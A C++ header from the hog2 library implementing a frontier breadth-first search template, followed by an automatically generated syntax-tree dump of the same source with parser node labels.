((mOpen1.size() != 0) || (mOpen2.size() != 0))\n {\n n = nodesExpanded;\n if (mOpen1.size() == 0)\n {\n std::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl;\n ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n mClosed1.clear();\n }\n else {\n std::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }\n depth++; \n }\n else {\n return true;\n }\n printf("Depth %d complete; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n,\n mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());\n if ((mOpen1.size() == 0) && (mOpen2.size() == 0))\n return true;\n return false;\n}\n\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<state> &thePath)\n{\n nodesExpanded = nodesTouched = 0;\n \n mOpen1.clear();\n mOpen2.clear();\n mClosed1.clear();\n mClosed2.clear();\n \n mOpen1.push_back(from);\n \n depth = 0;\n uint64_t n = nodesExpanded;\n while ((mOpen1.size() != 0) || (mOpen2.size() != 0))\n {\n printf("Depth %d; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n,\n mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());\n n = nodesExpanded;\n if (mOpen1.size() == 0)\n {\n ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n mClosed1.clear();\n }\n else {\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }\n depth++; \n }\n}\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList)\n{\n static std::vector<state> neighbors;\n neighbors.resize(0);\n while (currentOpenList.size() > 0)\n {\n state s = currentOpenList.front();\n currentOpenList.pop_front();\n \n if (currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end())\n {\n// printf("Needed to check against current\n");\n continue;\n }\n// if (lastClosedList.find(env->GetStateHash(s)) != lastClosedList.end())\n// {\n// printf("Needed to check against last\n");\n// continue;\n// }\n \n currentClosedList[env->GetStateHash(s)] = true;\n \n nodesExpanded++;\n env->GetSuccessors(s, neighbors);\n for (unsigned int x = 0; x < neighbors.size(); x++)\n {\n if (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n continue;\n if (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n continue;\n\n nextOpenList.push_back(neighbors[x]);\n }\n }\n}\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<action> &thePath)\n{\n assert(!"not defined");\n}\n\n\n#endif\n" (comment) "/*\n * FrontierBFS.h\n * hog2\n *\n * Created by <NAME> on 1/29/11.\n * Copyright 2011. All rights reserved.\n *\n */" (preproc_ifdef) "#ifndef FRONTIERBFS_H\n#define FRONTIERBFS_H\n\n#include <iostream>\n#include "SearchEnvironment.h"\n#include <ext/hash_map>\n#include "FPUtil.h"\n\ntypedef __gnu_cxx::hash_map<uint64_t, bool, Hash64> FrontierBFSClosedList;\n\ntemplate <class state, class action>\nclass FrontierBFS {\npublic:\n FrontierBFS() { }\n virtual ~FrontierBFS() {}\n void GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n std::vector<state> &thePath);\n void GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n std::vector<action> &thePath);\n \n void InitializeSearch(SearchEnvironment<state, action> *env, state &from);\n void InitializeSearch(SearchEnvironment<state, action> *env, std::vector<state> &from);\n bool DoOneIteration(SearchEnvironment<state, action> *env);\n \n const FrontierBFSClosedList &GetCurrentClosedList()\n {\n if (mOpen1.size() > 0) return mClosed2;\n if (mOpen2.size() > 0) return mClosed1;\n //assert(!"Open and closed are both null");\n return mClosed1;\n }\n uint64_t GetNodesExpanded() { return nodesExpanded; }\n uint64_t GetNodesTouched() { return nodesTouched; }\nprivate:\n\n void ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList);\n \n \n uint64_t nodesExpanded, nodesTouched;\n int depth;\n \n std::deque<state> mOpen1;\n std::deque<state> mOpen2;\n FrontierBFSClosedList mClosed1; // store parent id!\n FrontierBFSClosedList mClosed2; // store parent id!\n};\n\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n state &from)\n{\n nodesExpanded = nodesTouched = 0;\n \n mOpen1.clear();\n mOpen2.clear();\n mClosed1.clear();\n mClosed2.clear();\n \n mOpen1.push_back(from); \n depth = 0;\n}\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n std::vector<state> &from)\n{\n nodesExpanded = nodesTouched = 0;\n \n mOpen1.clear();\n mOpen2.clear();\n mClosed1.clear();\n mClosed2.clear();\n \n for (unsigned int x = 0; x < from.size(); x++)\n mOpen1.push_back(from[x]);\n depth = 0;\n}\n\ntemplate <class state, class action>\nbool FrontierBFS<state, action>::DoOneIteration(SearchEnvironment<state, action> *env)\n{\n uint64_t n = nodesExpanded;\n if ((mOpen1.size() != 0) || (mOpen2.size() != 0))\n {\n n = nodesExpanded;\n if (mOpen1.size() == 0)\n {\n std::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl;\n ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n mClosed1.clear();\n }\n else {\n std::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }\n depth++; \n }\n else {\n return true;\n }\n printf("Depth %d complete; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n,\n mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());\n if ((mOpen1.size() == 0) && (mOpen2.size() == 0))\n return true;\n return false;\n}\n\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<state> &thePath)\n{\n nodesExpanded = nodesTouched = 0;\n \n mOpen1.clear();\n mOpen2.clear();\n mClosed1.clear();\n mClosed2.clear();\n \n mOpen1.push_back(from);\n \n depth = 0;\n uint64_t n = nodesExpanded;\n while ((mOpen1.size() != 0) || (mOpen2.size() != 0))\n {\n printf("Depth %d; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n,\n mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());\n n = nodesExpanded;\n if (mOpen1.size() == 0)\n {\n ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n mClosed1.clear();\n }\n else {\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }\n depth++; \n }\n}\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList)\n{\n static std::vector<state> neighbors;\n neighbors.resize(0);\n while (currentOpenList.size() > 0)\n {\n state s = currentOpenList.front();\n currentOpenList.pop_front();\n \n if (currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end())\n {\n// printf("Needed to check against current\n");\n continue;\n }\n// if (lastClosedList.find(env->GetStateHash(s)) != lastClosedList.end())\n// {\n// printf("Needed to check against last\n");\n// continue;\n// }\n \n currentClosedList[env->GetStateHash(s)] = true;\n \n nodesExpanded++;\n env->GetSuccessors(s, neighbors);\n for (unsigned int x = 0; x < neighbors.size(); x++)\n {\n if (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n continue;\n if (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n continue;\n\n nextOpenList.push_back(neighbors[x]);\n }\n }\n}\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<action> &thePath)\n{\n assert(!"not defined");\n}\n\n\n#endif" (#ifndef) "#ifndef" (identifier) "FRONTIERBFS_H" (preproc_def) "#define FRONTIERBFS_H\n" (#define) "#define" (identifier) "FRONTIERBFS_H" (preproc_include) "#include <iostream>\n" (#include) "#include" (system_lib_string) "<iostream>" (preproc_include) "#include "SearchEnvironment.h"\n" (#include) "#include" (string_literal) ""SearchEnvironment.h"" (") """ (string_content) "SearchEnvironment.h" (") """ (preproc_include) "#include <ext/hash_map>\n" (#include) "#include" (system_lib_string) "<ext/hash_map>" (preproc_include) "#include "FPUtil.h"\n" (#include) "#include" (string_literal) ""FPUtil.h"" (") """ (string_content) "FPUtil.h" (") """ (type_definition) "typedef __gnu_cxx::hash_map<uint64_t, bool, Hash64> FrontierBFSClosedList;" (typedef) "typedef" (type_identifier) "__gnu_cxx" (ERROR) "::hash_map<" (:) ":" (:) ":" (type_identifier) "hash_map" (<) "<" (primitive_type) "uint64_t" (,) "," (primitive_type) "bool" (,) "," (ERROR) "Hash64>" (type_identifier) "Hash64" (>) ">" (type_identifier) "FrontierBFSClosedList" (;) ";" (ERROR) "template <class state, class action>\nclass FrontierBFS" (comma_expression) "template <class state, class action>\nclass" (binary_expression) "template <class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "state" (identifier) "state" (,) "," (ERROR) "class" (identifier) "class" (binary_expression) "action>\nclass" (identifier) "action" (>) ">" (identifier) "class" (identifier) "FrontierBFS" (compound_statement) "{\npublic:\n FrontierBFS() { }\n virtual ~FrontierBFS() {}\n void GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n std::vector<state> &thePath);\n void GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n std::vector<action> &thePath);\n \n void InitializeSearch(SearchEnvironment<state, action> *env, state &from);\n void InitializeSearch(SearchEnvironment<state, action> *env, std::vector<state> &from);\n bool DoOneIteration(SearchEnvironment<state, action> *env);\n \n const FrontierBFSClosedList &GetCurrentClosedList()\n {\n if (mOpen1.size() > 0) return mClosed2;\n if (mOpen2.size() > 0) return mClosed1;\n //assert(!"Open and closed are both null");\n return mClosed1;\n }\n uint64_t GetNodesExpanded() { return nodesExpanded; }\n uint64_t GetNodesTouched() { return nodesTouched; }\nprivate:\n\n void ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList);\n \n \n uint64_t nodesExpanded, nodesTouched;\n int depth;\n \n std::deque<state> mOpen1;\n std::deque<state> mOpen2;\n FrontierBFSClosedList mClosed1; // store parent id!\n FrontierBFSClosedList mClosed2; // store parent id!\n}" ({) "{" (labeled_statement) "public:\n FrontierBFS()" (statement_identifier) "public" (:) ":" (expression_statement) "FrontierBFS()" (call_expression) "FrontierBFS()" (identifier) "FrontierBFS" (argument_list) "()" (() "(" ()) ")" (;) "" (compound_statement) "{ }" ({) "{" (}) "}" (function_definition) "virtual ~FrontierBFS() {}" (type_identifier) "virtual" (ERROR) "~" (~) "~" (function_declarator) "FrontierBFS()" (identifier) "FrontierBFS" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{}" ({) "{" (}) "}" (declaration) "void GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n std::vector<state> &thePath);" (primitive_type) "void" (function_declarator) "GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n std::vector<state> &thePath)" (identifier) "GetPath" (parameter_list) "(SearchEnvironment<state, action> *env, state &from, state &to,\n std::vector<state> &thePath)" (() "(" (parameter_declaration) "SearchEnvironment<state" (type_identifier) "SearchEnvironment" (ERROR) "<" (<) "<" (identifier) "state" (,) "," (parameter_declaration) "action> *env" (type_identifier) "action" (ERROR) ">" (>) ">" (pointer_declarator) "*env" (*) "*" (identifier) "env" (,) "," (parameter_declaration) "state &from" (type_identifier) "state" (ERROR) "&" (&) "&" (identifier) "from" (,) "," (parameter_declaration) "state &to" (type_identifier) "state" (ERROR) "&" (&) "&" (identifier) "to" (,) "," (parameter_declaration) "std::vector<state> &thePath" (type_identifier) "std" (ERROR) "::vector<state> &" (:) ":" (:) ":" (identifier) "vector" (<) "<" (identifier) "state" (>) ">" (&) "&" (identifier) "thePath" ()) ")" (;) ";" (declaration) "void GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n std::vector<action> &thePath);" (primitive_type) "void" (function_declarator) "GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n std::vector<action> &thePath)" (identifier) "GetPath" (parameter_list) "(SearchEnvironment<state, action> *env, state &from, state &to,\n std::vector<action> &thePath)" (() "(" (parameter_declaration) "SearchEnvironment<state" (type_identifier) "SearchEnvironment" (ERROR) "<" (<) "<" (identifier) "state" (,) "," (parameter_declaration) "action> *env" (type_identifier) "action" (ERROR) ">" (>) ">" (pointer_declarator) "*env" (*) "*" (identifier) "env" (,) "," (parameter_declaration) "state &from" (type_identifier) "state" (ERROR) "&" (&) "&" (identifier) "from" (,) "," (parameter_declaration) "state &to" (type_identifier) "state" (ERROR) "&" (&) "&" (identifier) "to" (,) "," (parameter_declaration) "std::vector<action> &thePath" (type_identifier) "std" (ERROR) "::vector<action> &" (:) ":" (:) ":" (identifier) "vector" (<) "<" (identifier) "action" (>) ">" (&) "&" (identifier) "thePath" ()) ")" (;) ";" (declaration) "void InitializeSearch(SearchEnvironment<state, action> *env, state &from);" (primitive_type) "void" (function_declarator) "InitializeSearch(SearchEnvironment<state, action> *env, state &from)" (identifier) "InitializeSearch" (parameter_list) "(SearchEnvironment<state, action> *env, state &from)" (() "(" (parameter_declaration) "SearchEnvironment<state" (type_identifier) "SearchEnvironment" (ERROR) "<" (<) "<" (identifier) "state" (,) "," (parameter_declaration) "action> *env" (type_identifier) "action" (ERROR) ">" (>) ">" (pointer_declarator) "*env" (*) "*" (identifier) "env" (,) "," (parameter_declaration) "state &from" (type_identifier) "state" (ERROR) "&" (&) "&" (identifier) "from" ()) ")" (;) ";" (declaration) "void InitializeSearch(SearchEnvironment<state, action> *env, std::vector<state> &from);" (primitive_type) "void" (function_declarator) "InitializeSearch(SearchEnvironment<state, action> *env, std::vector<state> &from)" (identifier) "InitializeSearch" (parameter_list) "(SearchEnvironment<state, action> *env, std::vector<state> &from)" (() "(" (parameter_declaration) "SearchEnvironment<state" (type_identifier) "SearchEnvironment" (ERROR) "<" (<) "<" (identifier) "state" (,) "," (parameter_declaration) "action> *env" (type_identifier) "action" (ERROR) ">" (>) ">" (pointer_declarator) "*env" (*) "*" (identifier) "env" (,) "," (parameter_declaration) "std::vector<state> &from" (type_identifier) "std" (ERROR) "::vector<state> &" (:) ":" (:) ":" (identifier) "vector" (<) "<" (identifier) "state" (>) ">" (&) "&" (identifier) "from" ()) ")" (;) ";" (declaration) "bool DoOneIteration(SearchEnvironment<state, action> *env);" (primitive_type) "bool" (function_declarator) "DoOneIteration(SearchEnvironment<state, action> *env)" (identifier) "DoOneIteration" (parameter_list) "(SearchEnvironment<state, action> *env)" (() "(" (parameter_declaration) "SearchEnvironment<state" (type_identifier) "SearchEnvironment" (ERROR) "<" (<) "<" (identifier) "state" (,) "," (parameter_declaration) "action> *env" (type_identifier) "action" (ERROR) ">" (>) ">" (pointer_declarator) "*env" (*) "*" (identifier) "env" ()) ")" (;) ";" (function_definition) "const FrontierBFSClosedList &GetCurrentClosedList()\n {\n if (mOpen1.size() > 0) return mClosed2;\n if (mOpen2.size() > 0) return mClosed1;\n //assert(!"Open and closed are both null");\n return mClosed1;\n }" (type_qualifier) "const" (const) "const" (type_identifier) "FrontierBFSClosedList" (ERROR) "&" (&) "&" (function_declarator) "GetCurrentClosedList()" (identifier) "GetCurrentClosedList" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n if (mOpen1.size() > 0) return mClosed2;\n if (mOpen2.size() > 0) return mClosed1;\n //assert(!"Open and closed are both null");\n return mClosed1;\n }" ({) "{" (if_statement) "if (mOpen1.size() > 0) return mClosed2;" (if) "if" (parenthesized_expression) "(mOpen1.size() > 0)" (() "(" (binary_expression) "mOpen1.size() > 0" (call_expression) "mOpen1.size()" (field_expression) "mOpen1.size" (identifier) "mOpen1" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (>) ">" (number_literal) "0" ()) ")" (return_statement) "return mClosed2;" (return) "return" (identifier) "mClosed2" (;) ";" (if_statement) "if (mOpen2.size() > 0) return mClosed1;" (if) "if" (parenthesized_expression) "(mOpen2.size() > 0)" (() "(" (binary_expression) "mOpen2.size() > 0" (call_expression) "mOpen2.size()" (field_expression) "mOpen2.size" (identifier) "mOpen2" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (>) ">" (number_literal) "0" ()) ")" (return_statement) "return mClosed1;" (return) "return" (identifier) "mClosed1" (;) ";" (comment) "//assert(!"Open and closed are both null");" (return_statement) "return mClosed1;" (return) "return" (identifier) "mClosed1" (;) ";" (}) "}" (function_definition) "uint64_t GetNodesExpanded() { return nodesExpanded; }" (primitive_type) "uint64_t" (function_declarator) "GetNodesExpanded()" (identifier) "GetNodesExpanded" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return nodesExpanded; }" ({) "{" (return_statement) "return nodesExpanded;" (return) "return" (identifier) "nodesExpanded" (;) ";" (}) "}" (function_definition) "uint64_t GetNodesTouched() { return nodesTouched; }" (primitive_type) "uint64_t" (function_declarator) "GetNodesTouched()" (identifier) "GetNodesTouched" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return nodesTouched; }" ({) "{" (return_statement) "return nodesTouched;" (return) "return" (identifier) "nodesTouched" (;) ";" (}) "}" (labeled_statement) "private:\n\n void ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList);" (statement_identifier) "private" (:) ":" (declaration) "void ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList);" (primitive_type) "void" (function_declarator) "ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList)" (identifier) "ExpandLevel" (parameter_list) "(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList)" (() "(" (parameter_declaration) "SearchEnvironment<state" (type_identifier) "SearchEnvironment" (ERROR) "<" (<) "<" (identifier) "state" (,) "," (parameter_declaration) "action> *env" (type_identifier) "action" (ERROR) ">" (>) ">" (pointer_declarator) "*env" (*) "*" (identifier) "env" (,) "," (parameter_declaration) "std::deque<state> &currentOpenList" (type_identifier) "std" (ERROR) "::deque<state> &" (:) ":" (:) ":" (identifier) "deque" (<) "<" (identifier) "state" (>) ">" (&) "&" (identifier) "currentOpenList" (,) "," (parameter_declaration) "FrontierBFSClosedList &currentClosedList" (type_identifier) "FrontierBFSClosedList" (ERROR) "&" (&) "&" (identifier) "currentClosedList" (,) "," (parameter_declaration) "std::deque<state> &nextOpenList" (type_identifier) "std" (ERROR) "::deque<state> &" (:) ":" (:) ":" (identifier) "deque" (<) "<" (identifier) "state" (>) ">" (&) "&" (identifier) "nextOpenList" (,) "," (parameter_declaration) "FrontierBFSClosedList &lastClosedList" (type_identifier) "FrontierBFSClosedList" (ERROR) "&" (&) "&" (identifier) "lastClosedList" ()) ")" (;) ";" (declaration) "uint64_t nodesExpanded, nodesTouched;" (primitive_type) "uint64_t" (identifier) "nodesExpanded" (,) "," (identifier) "nodesTouched" (;) ";" (declaration) "int depth;" (primitive_type) "int" (identifier) "depth" (;) ";" (labeled_statement) "std::deque<state> mOpen1;" (statement_identifier) "std" (:) ":" (ERROR) ":" (:) ":" (expression_statement) "deque<state> mOpen1;" (binary_expression) "deque<state> mOpen1" (binary_expression) "deque<state" (identifier) "deque" (<) "<" (identifier) "state" (>) ">" (identifier) "mOpen1" (;) ";" (labeled_statement) "std::deque<state> mOpen2;" (statement_identifier) "std" (:) ":" (ERROR) ":" (:) ":" (expression_statement) "deque<state> mOpen2;" (binary_expression) "deque<state> mOpen2" (binary_expression) "deque<state" (identifier) "deque" (<) "<" (identifier) "state" (>) ">" (identifier) "mOpen2" (;) ";" (declaration) "FrontierBFSClosedList mClosed1;" (type_identifier) "FrontierBFSClosedList" (identifier) "mClosed1" (;) ";" (comment) "// store parent id!" (declaration) "FrontierBFSClosedList mClosed2;" (type_identifier) "FrontierBFSClosedList" (identifier) "mClosed2" (;) ";" (comment) "// store parent id!" (}) "}" (expression_statement) ";" (;) ";" (expression_statement) "template <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n state &from)\n{\n nodesExpanded = nodesTouched = 0;" (comma_expression) "template <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n state &from)\n{\n nodesExpanded = nodesTouched = 0" (binary_expression) "template <class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "state" (identifier) "state" (,) "," (ERROR) "class" (identifier) "class" (comma_expression) "action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n state &from)\n{\n nodesExpanded = nodesTouched = 0" (binary_expression) "action>\nvoid FrontierBFS<state" (binary_expression) "action>\nvoid FrontierBFS" (identifier) "action" (>) ">" (ERROR) "void" (identifier) "void" (identifier) "FrontierBFS" (<) "<" (identifier) "state" (,) "," (binary_expression) "action>::InitializeSearch(SearchEnvironment<state, action> *env,\n state &from)\n{\n nodesExpanded = nodesTouched = 0" (identifier) "action" (>) ">" (ERROR) "::InitializeSearch(SearchEnvironment<state, action> *env,\n state &from)\n{" (:) ":" (:) ":" (call_expression) "InitializeSearch(SearchEnvironment<state, action> *env,\n state &from)" (identifier) "InitializeSearch" (argument_list) "(SearchEnvironment<state, action> *env,\n state &from)" (() "(" (binary_expression) "SearchEnvironment<state" (identifier) "SearchEnvironment" (<) "<" (identifier) "state" (,) "," (binary_expression) "action> *env" (identifier) "action" (>) ">" (pointer_expression) "*env" (*) "*" (identifier) "env" (,) "," (binary_expression) "state &from" (identifier) "state" (&) "&" (identifier) "from" ()) ")" ({) "{" (assignment_expression) "nodesExpanded = nodesTouched = 0" (identifier) "nodesExpanded" (=) "=" (assignment_expression) "nodesTouched = 0" (identifier) "nodesTouched" (=) "=" (number_literal) "0" (;) ";" (expression_statement) "mOpen1.clear();" (call_expression) "mOpen1.clear()" (field_expression) "mOpen1.clear" (identifier) "mOpen1" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "mOpen2.clear();" (call_expression) "mOpen2.clear()" (field_expression) "mOpen2.clear" (identifier) "mOpen2" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "mClosed1.clear();" (call_expression) "mClosed1.clear()" (field_expression) "mClosed1.clear" (identifier) "mClosed1" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "mClosed2.clear();" (call_expression) "mClosed2.clear()" (field_expression) "mClosed2.clear" (identifier) "mClosed2" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "mOpen1.push_back(from);" (call_expression) "mOpen1.push_back(from)" (field_expression) "mOpen1.push_back" (identifier) "mOpen1" (.) "." (field_identifier) "push_back" (argument_list) "(from)" (() "(" (identifier) "from" ()) ")" (;) ";" (expression_statement) "depth = 0;" (assignment_expression) "depth = 0" (identifier) "depth" (=) "=" (number_literal) "0" (;) ";" (ERROR) "}" (}) "}" (expression_statement) "template <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n std::vector<state> &from)\n{\n nodesExpanded = nodesTouched = 0;" (comma_expression) "template <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n std::vector<state> &from)\n{\n nodesExpanded = nodesTouched = 0" (binary_expression) "template <class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "state" (identifier) "state" (,) "," (ERROR) "class" (identifier) "class" (comma_expression) "action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n std::vector<state> &from)\n{\n nodesExpanded = nodesTouched = 0" (binary_expression) "action>\nvoid FrontierBFS<state" (binary_expression) "action>\nvoid FrontierBFS" (identifier) "action" (>) ">" (ERROR) "void" (identifier) "void" (identifier) "FrontierBFS" (<) "<" (identifier) "state" (,) "," (binary_expression) "action>::InitializeSearch(SearchEnvironment<state, action> *env,\n std::vector<state> &from)\n{\n nodesExpanded = nodesTouched = 0" (identifier) "action" (>) ">" (ERROR) "::InitializeSearch(SearchEnvironment<state, action> *env,\n std::vector<state> &from)\n{" (:) ":" (:) ":" (call_expression) "InitializeSearch(SearchEnvironment<state, action> *env,\n std::vector<state> &from)" (identifier) "InitializeSearch" (argument_list) "(SearchEnvironment<state, action> *env,\n std::vector<state> &from)" (() "(" (binary_expression) "SearchEnvironment<state" (identifier) "SearchEnvironment" (<) "<" (identifier) "state" (,) "," (binary_expression) "action> *env" (identifier) "action" (>) ">" (pointer_expression) "*env" (*) "*" (identifier) "env" (,) "," (ERROR) "std::" (identifier) "std" (:) ":" (:) ":" (binary_expression) "vector<state> &from" (binary_expression) "vector<state" (identifier) "vector" (<) "<" (identifier) "state" (>) ">" (pointer_expression) "&from" (&) "&" (identifier) "from" ()) ")" ({) "{" (assignment_expression) "nodesExpanded = nodesTouched = 0" (identifier) "nodesExpanded" (=) "=" (assignment_expression) "nodesTouched = 0" (identifier) "nodesTouched" (=) "=" (number_literal) "0" (;) ";" (expression_statement) "mOpen1.clear();" (call_expression) "mOpen1.clear()" (field_expression) "mOpen1.clear" (identifier) "mOpen1" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "mOpen2.clear();" (call_expression) "mOpen2.clear()" (field_expression) "mOpen2.clear" (identifier) "mOpen2" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "mClosed1.clear();" (call_expression) "mClosed1.clear()" (field_expression) "mClosed1.clear" (identifier) "mClosed1" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "mClosed2.clear();" (call_expression) "mClosed2.clear()" (field_expression) "mClosed2.clear" (identifier) "mClosed2" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (for_statement) "for (unsigned int x = 0; x < from.size(); x++)\n mOpen1.push_back(from[x]);" (for) "for" (() "(" (declaration) "unsigned int x = 0;" (sized_type_specifier) "unsigned int" (unsigned) "unsigned" (primitive_type) "int" (init_declarator) "x = 0" (identifier) "x" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "x < from.size()" (identifier) "x" (<) "<" (call_expression) "from.size()" (field_expression) "from.size" (identifier) "from" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (;) ";" (update_expression) "x++" (identifier) "x" (++) "++" ()) ")" (expression_statement) "mOpen1.push_back(from[x]);" (call_expression) "mOpen1.push_back(from[x])" (field_expression) "mOpen1.push_back" (identifier) "mOpen1" (.) "." (field_identifier) "push_back" (argument_list) "(from[x])" (() "(" (subscript_expression) "from[x]" (identifier) "from" ([) "[" (identifier) "x" (]) "]" ()) ")" (;) ";" (expression_statement) "depth = 0;" (assignment_expression) "depth = 0" (identifier) "depth" (=) "=" (number_literal) "0" (;) ";" (ERROR) "}\n\ntemplate <class state, class action>\nbool FrontierBFS<state, action>::DoOneIteration(SearchEnvironment<state, action> *env)\n{" (}) "}" (comma_expression) "template <class state, class action>\nbool FrontierBFS<state, action>::DoOneIteration(SearchEnvironment<state, action> *env)" (binary_expression) "template <class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "state" (identifier) "state" (,) "," (ERROR) "class" (identifier) "class" (comma_expression) "action>\nbool FrontierBFS<state, action>::DoOneIteration(SearchEnvironment<state, action> *env)" (binary_expression) "action>\nbool FrontierBFS<state" (binary_expression) "action>\nbool FrontierBFS" (identifier) "action" (>) ">" (ERROR) "bool" (identifier) "bool" (identifier) "FrontierBFS" (<) "<" (identifier) "state" (,) "," (binary_expression) "action>::DoOneIteration(SearchEnvironment<state, action> *env)" (identifier) "action" (>) ">" (ERROR) "::" (:) ":" (:) ":" (call_expression) "DoOneIteration(SearchEnvironment<state, action> *env)" (identifier) "DoOneIteration" (argument_list) "(SearchEnvironment<state, action> *env)" (() "(" (binary_expression) "SearchEnvironment<state" (identifier) "SearchEnvironment" (<) "<" (identifier) "state" (,) "," (binary_expression) "action> *env" (identifier) "action" (>) ">" (pointer_expression) "*env" (*) "*" (identifier) "env" ()) ")" ({) "{" (declaration) "uint64_t n = nodesExpanded;" (primitive_type) "uint64_t" (init_declarator) "n = nodesExpanded" (identifier) "n" (=) "=" (identifier) "nodesExpanded" (;) ";" 